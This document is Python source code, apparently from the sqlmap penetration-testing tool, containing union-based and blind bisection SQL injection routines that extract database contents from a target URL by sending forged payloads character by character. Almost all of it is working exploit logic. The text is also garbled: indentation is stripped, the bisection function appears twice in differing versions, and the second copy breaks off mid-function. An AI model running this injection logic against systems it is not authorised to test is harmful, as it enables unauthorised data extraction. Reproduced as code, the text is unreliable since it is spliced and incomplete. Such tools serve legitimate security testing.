def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an union SQL injection on the target
URL then call its subsidiary function to effectively perform an
union SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and (not isinstance(count, basestring) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
threadData = getCurrentThreadData()
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.lastFlushed = startLimit - 1
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
with kb.locks.value:
# in case that we requested N columns and we get M!=N then we have to filter a bit
if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
_ = threadData.shared.buffered[0][1]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
else:
with kb.locks.value:
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\r\n" % status, True)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
abortedFlag = False
showEta = False
partialValue = u""
finalValue = None
retrievedLength = 0
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
if retVal and conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal and not conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
else:
infoMsg = "resumed: %s" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used or the engine is called from the API
if conf.predictOutput:
kb.partRun = getPartRun()
elif hasattr(conf, "api"):
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
firstChar = 0
elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
else:
firstChar = 0
if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int):
lastChar = int(lastChar)
else:
lastChar = 0
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.escape(expressionReplaced)
else:
expressionUnescaped = unescaper.escape(expression)
if isinstance(length, basestring) and length.isdigit() or isinstance(length, int):
length = int(length)
else:
length = None
if length == 0:
return 0, ""
if length and (lastChar > 0 or firstChar > 0):
length = min(length, lastChar or length) - firstChar
if length and length > MAX_BISECTION_LENGTH:
length = None
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length) or 1
if showEta:
progress = ProgressBar(maxValue=length)
if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare or conf.forceThreads:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return hintValue[idx - 1]
with hintlock:
kb.hintValue = None
return None
def validateChar(idx, value):
"""
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
"""
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(kb.technique)
return result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = type(asciiTbl)(asciiTbl)
originalTbl = type(charTbl)(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 5, 4]
if "'%s'" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
if ord(char) in charTbl:
charTbl.remove(ord(char))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
firstCheck = False
lastCheck = False
unexpectedCode = False
while len(charTbl) != 1:
position = None
if charsetType is None:
if not firstCheck:
try:
try:
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
except IndexError:
lastChar = None
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') - 1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') - 1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') - 1) # 47
except ValueError:
pass
finally:
firstCheck = True
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
if timeBasedCompare:
if kb.responseTimeMode:
kb.responseTimePayload = falsePayload
else:
kb.responseTimePayload = None
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if not timeBasedCompare:
unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
if unexpectedCode:
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
threadData.validationRun = 0
if retried < MAX_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
for index in xrange(len(originalTbl)):
if originalTbl[index] == minValue:
break
# If we are working with non-continuous elements, both minValue and character after
# are possible candidates
for retVal in (originalTbl[index], originalTbl[index + 1]):
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(retVal)
return None
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
if threadData.shared.index[0] - firstChar >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
curidx = threadData.shared.index[0]
kb.locks.index.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[curidx - 1 - firstChar] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
progress.progress(time.time() - charStart, threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
_ = count - firstChar
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
output += status if _ != length else " " * len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = [_ for _ in partialValue]
value.extend(_ for _ in threadData.shared.value)
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"):
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
threadData.shared.value = ""
while True:
index += 1
charStart = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
if showEta:
progress.progress(time.time() - charStart, len(commonValue))
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
dataToStdout(filterControlChars(commonValue[index - 1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl)
if val is None:
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(time.time() - charStart, index)
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
dataToStdout(filterControlChars(val))
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
if (lastChar > 0 and index >= lastChar):
finalValue = "" if length == 0 else partialValue
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
partialValue = None
break
except KeyboardInterrupt:
abortedFlag = True
finally:
kb.prependFlag = False
kb.stickyLevel = None
retrievedLength = len(finalValue or "")
if finalValue is not None:
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
dataToStdout(infoMsg)
else:
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
dataToStdout("\n")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise SqlmapThreadException("something unexpected happened inside the threads")
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = u""
finalValue = None
abortedFlag = False
asciiTbl = getCharset(charsetType)
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal:
partialValue = retVal
dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), safecharencode(partialValue)))
else:
dataToStdout("[%s] [INFO] resumed: %s\r\n" % (time.strftime("%X"), safecharencode(retVal)))
return 0, retVal
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used
kb.partRun = getPartRun() if conf.predictOutput else None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ):
lastChar = int(conf.lastChar)
elif lastChar in ( None, "0" ):
lastChar = 0
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar)
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
if length and isinstance(length, basestring) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
if lastChar > 0 and length > ( lastChar - firstChar ):
length = lastChar - firstChar
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if timeBasedCompare and conf.threads > 1:
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not timeBasedCompare:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta:
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx-1]
else:
posValue = ord(hintValue[idx-1])
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return hintValue[idx-1]
with hintlock:
kb.hintValue = None
return None
def validateChar(idx, value):
"""
Used in time-based inference (in case that original and retrieved
value are not equal there will be a deliberate delay).
"""
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
return not result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = list(asciiTbl)
originalTbl = list(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [5, 4]
if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
charTbl.remove(ord('\n'))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
while len(charTbl) != 1:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
if CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.unescape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,128*16-1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = list(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
